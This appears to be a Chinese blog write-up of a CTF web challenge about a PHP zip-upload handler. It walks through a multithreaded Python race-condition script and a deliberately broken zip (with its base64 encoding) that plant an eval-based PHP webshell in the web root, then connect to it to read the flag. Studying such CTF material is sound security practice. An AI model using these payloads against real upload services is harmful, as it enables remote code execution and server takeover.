• NSS [鹏城杯 2022]压缩包


    NSS [鹏城杯 2022]压缩包

    考点:条件竞争/逻辑漏洞(解压失败不删除已经解压文件)

    参考:回忆phpcms头像上传漏洞以及后续影响 | 离别歌 (leavesongs.com)

    源码有点小多

    image-20230708160120785

    
    highlight_file(__FILE__);
    
    function removedir($dir){
        $list= scandir($dir);
        foreach ($list as  $value) {
           if(is_file($dir.'/'.$value)){
             unlink($dir.'/'.$value);
           }else if($value!="."&&$value!=".."){
                    removedir($dir.'/'.$value);
           }
        }
    }
    
    function unzip($filename){
            $result = [];
            $zip = new ZipArchive();
            $zip->open($filename);
            $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
            if(!is_dir($dir)){
                mkdir($dir);
            }
            if($zip->extractTo($dir)){
            foreach (scandir($dir) as  $value) {
                $file_ext=strrchr($value, '.');
                $file_ext=strtolower($file_ext); //转换为小写
                $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
                $file_ext=trim($file_ext); //收尾去空
                					                       			     			if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
                    removedir($dir);
                }
                	if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
                    if(is_file($dir."/".$value)){
                        unlink($dir."/".$value);
                    }else{
                        if($value!="."&&$value!="..")
                        array_push($result,$value);
                    }
                }
            }
            $zip->close();
            unlink($filename);
            return json_encode($result);
            }else{
                return false;
            }
    }
    $content= $_REQUEST['content'];
    shell_exec('rm -rf /tmp/*');
    $fpath ="/tmp/".md5($content); 
    file_put_contents($fpath, base64_decode($content));
    echo unzip($fpath);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    分析解释一下代码:(看完发现这段代码实现了指定目录解压功能)

    
    // 输出当前文件的源代码
    // __FILE__ 是一个常量,表示当前文件的完整路径
    // highlight_file() 函数用于将文件的源代码进行高亮显示
    highlight_file(__FILE__);
    
    // 定义一个递归函数 removedir(),用于删除指定目录下的所有文件和子目录
    // 参数 $dir 表示要删除的目录的路径
    function removedir($dir){
        // 使用 scandir() 函数获取目录中的文件和子目录列表
        // 返回一个数组,包含目录中的所有条目(包括 . 和 ..)
        $list= scandir($dir);
        
    	// 遍历目录中的每个条目
        foreach ($list as  $value) {
            
            // 如果当前条目是一个文件
            if(is_file($dir.'/'.$value)){
                
            // 使用 unlink() 函数删除文件
            unlink($dir.'/'.$value);
            
            // 如果当前条目是一个子目录
    		}else if($value!="."&&$value!=".."){
                
                // 递归调用 removedir() 函数,删除子目录中的文件和子目录
            	removedir($dir.'/'.$value);
            }
    	}//闭合foreach
    }//闭合function
    
    // 定义一个函数 unzip(),用于解压缩指定的 ZIP 文件
    // 参数 $filename 表示要解压缩的文件的路径
    function unzip($filename){
        
        // 定义一个空数组 $result,用于存储解压缩后的结果 
    	$result = [];
            
        //创建一个 ZipArchive 类的实例,用于操作 ZIP 文件
    	$zip = new ZipArchive();
            
        // 使用 open() 方法打开要解压缩的 ZIP 文件
    	$zip->open($filename);
        
        // 根据 ZIP 文件名创建一个目录路径,用于存储解压缩后的文件    
    	$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
            
    	// 如果目录不存在,则创建【目录】
    	if(!is_dir($dir)){
    		mkdir($dir);
    	}
            
    	// 使用 extractTo() 方法将 ZIP 文件解压缩到指定目录
    	if($zip->extractTo($dir)){
    		// 遍历目录中的每个文件和子目录
    		foreach (scandir($dir) as  $value) {
                
    			// 使用 strrchr() 函数获取文件的扩展名(包括点号)
    			$file_ext=strrchr($value, '.');
                
    			// 将文件扩展名(如.txt)转换为小写字母
    			$file_ext=strtolower($file_ext); 
    
            	// 去除文件扩展名中的字符串 "::$DATA"
    			$file_ext=str_ireplace('::$DATA', '', $file_ext);
    
            	// 去除文件扩展名的首尾空格
            	$file_ext=trim($file_ext); 
                
            	// 如果当前条目是一个子目录,并且不是当前目录 (.) 和上级目录 (..)
    			if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
                	// 递归调用 removedir() 函数,删除子目录中的文件和子目录
    				removedir($dir);
    			}
            
            	// 如果文件扩展名不匹配指定的图片扩展名(jpg、png、gif、jpeg)
    			if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
                	// 如果当前条目是一个文件
    				if(is_file($dir."/".$value)){
                    	// 使用 unlink() 函数删除文件
                		unlink($dir."/".$value);
               	}else{
                		if($value!="."&&$value!="..")
                 	    // 将文件名添加到结果数组中
               	        array_push($result,$value);	
                      }
            	}//闭合if
    		}//闭合foreach
            
            // 关闭 ZIP 文件
            $zip->close();   
        	
            // 删除原始 ZIP 文件
            unlink($filename);   
        	
            // 返回解压后的文件名数组的 JSON 字符串表示
            return json_encode($result);   
        } else {
            // 如果解压失败,返回 false
            return false;   
        }
    }
    
    
    $content = $_REQUEST['content'];   
    // 获取通过请求参数 content 传递的值
    shell_exec('rm -rf /tmp/*');   
    // 执行 shell 命令,删除 /tmp 目录下的所有文件和子目录。**/tmp/** 是一个 Linux/Unix 系统中的临时目录,常用于存放临时文件,通常这些文件在系统重启时会被清空。
    $fpath = "/tmp/".md5($content);   
    // 生成一个临时文件路径,将内容写入临时文件
    file_put_contents($fpath, base64_decode($content));   
    // 将解码后的内容写入临时文件
    echo unzip($fpath);   
    // 调用 unzip 函数,解压临时文件,并将结果输出。
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115

    ==方法一:==条件竞争:【还不是很理解】

    这里直接cv羽师傅的了

    首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到 S E R V E R [ ′ D O C U M E N T R O O T ′ ] . " / s t a t i c / u p l o a d / " . m d 5 ( _SERVER['DOCUMENT_ROOT']."/static/upload/".md5( SERVER[DOCUMENTROOT]."/static/upload/".md5(filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争

    1、将如下php内容压缩生成zip文件。

     
    echo '11111';
    file_put_contents('/var/www/html/x.php','');
    ?>
    
    • 1
    • 2
    • 3
    • 4

    ​ 2、条件竞争脚本如下

    #author:yu22x
    import io
    import requests
    import threading
    import hashlib
    import base64
    url="http://192.168.1.110:8521/"
    sess=requests.session()
    s = open('a.zip','rb').read()
    content=base64.b64encode(s)
    data={'content':content}
    i = hashlib.md5(content)
    md=hashlib.md5(('/tmp/'+str(i.digest().hex())).encode())
    
    def write(session):
        while True:
            resp = session.post( url,data=data )
    def read(session):
        while True:
            resp = session.get(url+f'static/upload/{md}/a.php')
            if resp.status_code==200:
                print('yes')
    if __name__=="__main__":
        event=threading.Event()
        with requests.session() as session:
            for i in range(1,30):
                threading.Thread(target=write,args=(session,)).start()
        	for i in range(1,30):
           		threading.Thread(target=read,args=(session,)).start()
    	event.set()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    通过蚁剑连接x.php密码为1,根目录下拿到flag

    ==方法二:==解压失败逻辑漏洞:

    我们可以通过zip解压失败的方式来写入shell,只要压缩包中目录名和一个文件名相同,这样解压时候会报错,但是文件已经解压出来了。这一点,P神的文章中有,感兴趣的师傅可以去看看,连接在wp最上面。

    关键代码:

    if($zip->extractTo($dir)){
    // 使用 extractTo() 方法将 ZIP 文件解压缩到指定目录
    。。。
    。。。
    。。。
    。。。
    。。。
    } else {
        return false;   
        // 如果解压失败,返回 false,退出函数。
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    不难看出,如果解压失败,那么直接return,退出unzip方法。同时,虽然解压失败,但是我们包含恶意代码的shell.php已经解压出来了。

    具体实现用一下zouyii师傅的实现步骤

    1、手动创建一个shell.php,内容为

    2、在linux中输入以下命令创建压缩包,其中在同名文件夹中需要随便加入一点文件进去(windows下试了试没成功)

    zip -y exp.zip shell.php    //把shell.php文件压缩进exp.zip
    rm shell.php          //删除shell.php文件
    mkdir shell.php       //创建shell.php文件夹
    echo 1 > ./shell.php/1     //把1存进当前目录下shell.php文件中名字为1的文件中(可导致解压失败)
    zip -y exp.zip shell.php/1   //把shell.php文件夹及其下1文件压缩进exp.zip
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20230708173432609

    然后我们将exp.zip复制出来,我们尝试解压一下,发现会报错,但是shell.php已经解压出来了。(具体报错的原因是文件夹和文件重名,都叫shell.php)

    image-20230708174441157

    image-20230708174457322

    经过测试验证,Windows下不允许文件夹和文件重名,而Linux下却可以

    image-20230708224838790

    然后我们写一段脚本,将该压缩包的字节base64加密

    import base64
    
    tmp = open("C:\\Users\\86159\\Desktop\\exp.zip","rb").read()
    print(base64.b64encode(tmp))
    
    • 1
    • 2
    • 3
    • 4

    得到UEsDBAoAAAAAALqL6FbcmEX2HQAAAB0AAAAJABwAc2hlbGwucGhwVVQJAAOQLKlkkCypZHV4CwABBOgDAAAE6AMAADw/cGhwIEBldmFsKCRfUE9TVFsnamF5J10pPz4KUEsDBAoAAAAAAC+M6FZT/FFnAgAAAAIAAAALABwAc2hlbGwucGhwLzFVVAkAA2ktqWRxLalkdXgLAAEE6AMAAAToAwAAMQpQSwECHgMKAAAAAAC6i+hW3JhF9h0AAAAdAAAACQAYAAAAAAABAAAApIEAAAAAc2hlbGwucGhwVVQFAAOQLKlkdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAL4zoVlP8UWcCAAAAAgAAAAsAGAAAAAAAAQAAAKSBYAAAAHNoZWxsLnBocC8xVVQFAANpLalkdXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIAoAAAAKcAAAAAAA== (掐头去尾)

    hackbar发个POST包,发现报错。那就是成功解压失败了。

    ==注意!!!==如果没出来红框上的报错信息,那就是url编码出问题了,火狐和谷歌的hackbar、burp、手动url编码,自己都可以试试。(忠告,要不然有些师傅和我一样要睡不着的哈哈哈哈哈)

    image-20230708232838391

    此时我们查看一下,解压成功的文件会上传到什么路径。

    文件的路径,按代码执行顺序来是如下这样的:

    1$fpath ="/tmp/".md5($content); 
    2file_put_contents($fpath, base64_decode($content));
    3$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
    4//1、时,md5($content)=9746378d7516a671648f4f9f5d4f8949,所以$fpath=/tmp/9746378d7516a671648f4f9f5d4f8949
    //3、时$filename=$fpath。md5($filename)=c7c1c9f96bc7319aff35a1cfa90d7d98。$_SERVER['DOCUMENT_ROOT']=根目录的路径(这个变量是PHP内置变量),此时$dir=根目录/static/upload/c7c1c9f96bc7319aff35a1cfa90d7d98  
    //综上,最后我的shell.php在   /static/upload/c7c1c9f96bc7319aff35a1cfa90d7d98/shell.php中
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    注意一下路径,然后就可以RCE了。

    image-20230708233148331

    当然,破坏压缩包的方法不止这一种。以下是另外的师傅破坏压缩包的方法,没下010就不复现了。

    准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell。然后将这两个文件压缩成shell.zip。然后使用010编辑器把压缩包打开,把2.txt改成五个斜杠。由于这种命名方式在Linux下会报错,因此在解压完1.php后会报错,就不会执行删除操作。但是1.php就留在服务器上了。
    
    • 1

    文件路径中提到了PHP内置变量,这里补充一下:

    1、$_SERVER['DOCUMENT_ROOT'] // 根目录的路径
    
    2、$_SERVER['HTTP_HOST']  // 域名,比如:localhost
    
    3、$_SERVER['PHP_SELF'] // 从根目录到PHP文件本身的路径
    
    4、$_SERVER['SCRIPT_FILENAME'] // 文件的绝对路径
    
    5、$_SERVER['REQUEST_URI']  // 从根目录开始所有的URL
    
    6、$_SERVER['REQUEST_METHOD']  // 请求的方法
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    假设PHP代码在/www/admin/localhost_80/wwwroot/1.php

    运行这段PHP代码:

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    输出:

    string(32) "/www/admin/localhost_80/wwwroot/" 
    string(13) "120.46.41.173" 
    string(6) "/1.php" 
    string(37) "/www/admin/localhost_80/wwwroot/1.php" 
    string(6) "/1.php" 
    string(3) "GET"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
  • 相关阅读:
    百分点科技连续7年获评“中国大数据企业50强”
    es elasticsearch 八 mapping 映射 、复杂数据类型
    Python 模拟超市收银抹零行为
    修复dinput8.dll文件的缺失,以及修复dinput8.dll文件时需要注意什么
    如何用 Electron 打包chatgpt-plus.top并生成mac客户端
    谈谈你对spring boot 3.0的理解
    Awesome GIS
    y47.第三章 Kubernetes从入门到精通 -- ceph 在k8s中的使用案例(二十)
    【经验模态分解】2.EMD的3个基本概念
    Python自动连接网络(自动登录网络准入系统)
  • 原文地址:https://blog.csdn.net/Jayjay___/article/details/134338731